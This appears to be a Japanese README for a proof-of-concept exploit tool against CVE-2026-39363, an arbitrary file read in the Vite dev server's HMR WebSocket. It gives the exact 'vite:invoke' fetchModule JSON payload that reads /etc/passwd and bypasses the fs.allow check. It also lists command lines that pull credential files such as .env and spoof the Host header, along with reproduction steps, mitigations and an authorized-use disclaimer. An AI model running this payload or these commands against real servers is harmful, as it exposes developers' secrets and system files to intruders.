
CVE-2026-39363の便利で実用的なエクスプロイトツール
| バージョン系統 | 影響あり | 修正済み |
|---|
| Vite 6 | >=6.0.0, <=6.4.1 | 6.4.2 |
| Vite 7 | >=7.0.0, <=7.3.1 | 7.3.2 |
| Vite 8 | >=8.0.0, <=8.0.4 | 8.0.5 |
| vite-plus (VoidZero ブランチ) | <=0.1.15 | 0.1.16 |
利用条件:
--host / server.host 設定)server.ws: false で無効化可能)CVSS 3.1 7.5 High(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)、CWE-200 + CWE-306。
CISA SSVC は exploitation=poc, automatable=yes とマークしています。
server.fs.allow にブロックされます(/@fs/<絶対パス> → 403)。Sec-WebSocket-Protocol: vite-hmr ヘッダー?token= クエリパラメータを要求(CWE-306: 非ブラウザクライアントは Origin ヘッダーなしで直接接続可能)vite:invoke カスタムイベントを送信してサーバー側に登録された fetchModule メソッドを呼び出し、file://<絶対パス>?raw を渡します。fetchModule は直接モジュール transform パイプラインを通るため、fs.allow チェックを完全に迂回し、ファイル内容を export default "..." として返します(CWE-200)。vite:invoke リクエストメッセージ構造(v6/v7/v8 共通):
{
"type": "custom",
"event": "vite:invoke",
"data": {
"name": "fetchModule",
"id": "1send",
"data": ["file:///etc/passwd?raw"]
}
}
サーバーは id が 1response に変わったレスポンスを返し、data.data.result.code にファイル内容が入ります。
Python 3 標準ライブラリのみが必要で、サードパーティ依存はありません:
# 単一ファイルを読む(POSIX パス)
python exp.py http://target:5173 /etc/passwd
# Windows パス + 複数ファイルを読む
python exp.py http://target:5173 C:/Users/admin/.env C:/Windows/win.ini
# ディレクトリに保存(ファイル名はパスから自動で安全化)
python exp.py http://target:5173 /etc/passwd /etc/hosts -o dump/
# HTTPS dev server
python exp.py https://target:5173 /etc/passwd
# 対象が allowedHosts のドメイン名ホワイトリストを設定している場合、IP/localhost を Host ヘッダーに使う
python exp.py http://192.168.1.10:5173 /etc/passwd --host-header localhost:5173
引数:
| 引数 | 説明 |
|---|---|
url | ターゲット。例: http://192.168.1.10:5173 |
files | 読み取る絶対パス。POSIX / Windows 形式どちらでも可 |
--host-header | Host ヘッダーを偽装(デフォルトはターゲットの host)。デフォルトでは IP/localhost のみ許可され、カスタムドメインは明示的な設定が必要 |
--ws-path | HMR WebSocket のパス。デフォルト /(対象が server.hmr.path を設定している場合は変更が必要) |
--timeout | 1リクエストあたりのタイムアウト秒数。デフォルト 10 |
-o/--output-dir | 読み取った内容をディレクトリに保存 |
このリポジトリの PoC は以下の環境で実測済みです(dev server root の外にある secret.txt を読み取り、HTTP @fs パスでは同じファイルが 403 を返すことを確認):
vite --host 0.0.0.0、Windows)再現手順(PoC と同じ経路):
# 1. ネットワークに公開された影響を受ける dev server を起動
npm i [email protected] && npx vite --host 0.0.0.0 --port 5173
# 2. HTTP パスは fs.allow にブロックされる(想定どおり 403)
curl -i 'http://target:5173/@fs/<root外絶対パス>?raw' # -> 403
# 3. WebSocket パスでは読み取り可能(本 PoC)
python exp.py http://target:5173 <root外絶対パス>
vite build + 静的ホスティングを使用し、vite dev を実行しない。server.ws: false で HMR を無効化するか、リバースプロキシを追加して dev server のポートに本機からのみアクセスできるようにする。正式に許可を得たペネトレーションテスト、脆弱性の再現、および防御研究にのみ使用してください。許可なく他者のシステムに本ツールを使用したことによる結果は、利用者の責任となります。